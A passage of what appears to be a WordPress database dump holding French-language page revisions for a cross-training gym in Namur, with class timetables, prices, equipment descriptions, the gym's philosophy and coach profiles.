:&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-25 16:33:42', '2013-07-25 16:33:42', '', 11, 'http://www.crosstrainingcenter.be/11-revision-112/', 0, 'revision', '', 0),
(333, 1, '2013-07-25 16:34:48', '2013-07-25 16:34:48', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-25 16:34:48', '2013-07-25 16:34:48', '', 11, 'http://www.crosstrainingcenter.be/11-revision-113/', 0, 'revision', '', 0),
(334, 1, '2013-07-25 16:30:38', '2013-07-25 16:30:38', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebell&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-07-25 16:30:38', '2013-07-25 16:30:38', '', 22, 'http://www.crosstrainingcenter.be/22-revision-31/', 0, 'revision', '', 0),
(335, 1, '2013-07-04 19:25:18', '2013-07-04 19:25:18', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'une simple activité physique, le cross training center de Namur vous propose une approche unique faisant intervenir l\'alimentation et la gestion du stress, tout en vous proposant un entraînement de qualité.&lt;/h2&gt;\r\n&amp;nbsp;&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:25:18', '2013-07-04 19:25:18', '', 5, 'http://www.crosstrainingcenter.be/5-revision-61/', 0, 'revision', '', 0),
(336, 1, '2013-07-10 15:47:02', '2013-07-10 15:47:02', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; 